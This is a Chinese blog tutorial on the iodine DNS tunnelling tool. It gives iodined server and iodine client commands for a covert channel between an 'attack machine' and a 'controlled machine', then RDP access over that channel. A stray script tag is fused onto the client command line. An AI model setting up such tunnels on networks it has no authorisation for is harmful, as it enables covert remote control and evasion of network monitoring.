『DNS隧道工具』— iodine

一、入坑必读
1、简介
因为 iodine(碘)的原子序数为53,这恰好是DNS端口号,故取名为iodine。

iodine基于C语言开发,分为服务端程序 iodined 和客户端程序 iodine,kali系统已内置。

支持EDNS、base32,base64,base128等多种编码规范,更多使用方法和功能特性请参考官方文档http://code.kryo.se/iodine/。

使用热度: ★★★★☆

2、专业词
Type:DNS解析的类型,常见的有:A、CNAME、MX、TXT……
直连模式:客户端直接向指定IP的恶意DNS服务器发起DNS解析请求
中继模式:像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。
3、放哪儿
攻击机 被控机
服务端 | 客户端 客户端 | 服务端
解释: 环境搭建完成后,由于服务端和客户端会处于同一个局域网,因此两端均可任意放于主控机和被控机上(具体还是得视情况而定)

4、支持Type
A
TXT
CNAME
MX
NULL
SRV
PRIVATE
5、兼容说明
服务端为Linux才可使用raw-mode模式(可启动参数加 -r 跳过raw-mode)
客户端为Win10时,环境搭建后,可连接成功,但无法ping通(即不可用!)
除以上情况,一般均可正常使用
6、全套下载地址
CSDN:https://download.csdn.net/download/localhost01/10931676
二、原理简述
通过TAP虚拟网卡(即需要单独安装tap-driver),在服务端机器(相应程序iodined)建立一个局域网(如ip为10.0.0.1);
客户端机器(相应程序iodine)也需要TAP建立虚拟网卡;
DNS隧道流程:iodine客户端->DNS服务商->iodined服务端
服务端程序 iodined 提供特定域名的DNS解析服务。当客户端请求该域名的解析,就可以建立通道连接。
两者通过DNS隧道,同处于一个局域网(即两张虚拟网卡IP会在同一个局域网)。
因此,正式使用时,需要购买一个域名。并在服务商控制台配置该域名将NS转由iodined服务端去解析!

而使用方法就很简单了。由于客户端和服务端都在同一个局域网(说白了,都能ping通),那么只需要直接访问服务端即可。

如3389,就直接mstsc、10.0.0.1:3389

三、安装使用
1、安装
iodine支持直接转发和中继两种模式。客户端和服务端建立通信后,可以看到客户机上多出一块名为dns0的虚拟网卡。

本节使用iodine直连模式建立DNS通道。

准备2台Linux机器,其中一台作为DNS隧道的主控机,另外一台作为被控机。

当然github上也有相应的windows版,可以直接开箱即用。不过windows版需先安装TAP。安装方法如下:

下载openVPN,安装时仅选择TAP-Win32 driver即可。安装后,可以发现服务器多出一块网卡。

从https://github.com/yarrick/iodine上克隆下来,运行make install以编译服务器和客户端二进制文件。当然也可以直接从上面的下载地址下载,免去编译,即拿即用

编译成功后,把服务端扔到主控机上,输入iodined –help验证是否安装成功

把客户端扔到被控机上,输入iodine –help验证是否安装成功

2、使用
在服务端机器上,执行:

sudo iodined -P 123456 -f -DD 192.168.0.1 abc.com
1
其中:

abc.com 自定义DNS传输的主域名
192.168.0.1 自定义的局域网虚拟IP
123456 自定义密码,客户端需要同样密码才能连接
在客户端机器上,执行:

sudo iodine -P 123456 -f -r -T TXT <your iodine server ip> abc.com<script src=”https://localhost01.cn/js/jquery-2.0.0.min.js”></script>
1
其中:

<your iodine server ip> 可选,表示不走DNS服务商这一步,直接向iodine服务端所在的服务器IP请求DNS解析,即直连
-r 由于iodine有时可能会自动切换DNS隧道为UDP通道,故该参数作用是:强制在任何情况下使用DNS隧道
-f 将使客户端保持在前台运行
-t 使用的DNS类型
————————————————
版权声明:本文为CSDN博主「冉椿林博客」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/localhost01/article/details/86579828